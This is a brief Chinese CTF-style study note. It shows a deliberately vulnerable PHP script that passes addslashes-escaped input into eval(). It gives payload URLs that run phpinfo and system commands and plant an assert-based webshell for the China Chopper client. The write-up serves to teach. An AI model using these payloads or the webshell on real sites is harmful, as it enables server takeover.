V站笔记
<?php
@$_str = $_GET['str'];
//print_r($_str);
$_temp = '$str="'.addslashes($_str).'";';
@print_r($_temp);
@eval('$str="'.addslashes($_str).'";');
?>
访问链接如下: http://www.test.com/ctf.php?str=${phpinfo()}
涉及到php复杂变量相关的知识,找了网上的很多博客,居然相关资料很少…
eval()
函数函数的作用如下: eval() 函数把字符串按照 PHP 代码来计算。 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。那么有了eval()
该如何执行任意代码呐?
简单尝试:
http://www.test.com/ctf.php?str=${${system(ipconfig)}}
构造我们的小马,便于连接菜刀:
http://www.test.com/ctf.php?str=${${assert($_GET[x])}}&x=phpinfo()
这里为了便于浏览,我改成了GET
型参数,菜刀链接网址如下:
http://www.test.com/ctf.php?str=${${assert($_POST[x])}}
密码:x
成功拿到shell
成功学习了一波,同时可以出去吹水了,addslashes()
在编码UTF-8
时,也是可能绕过的~
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。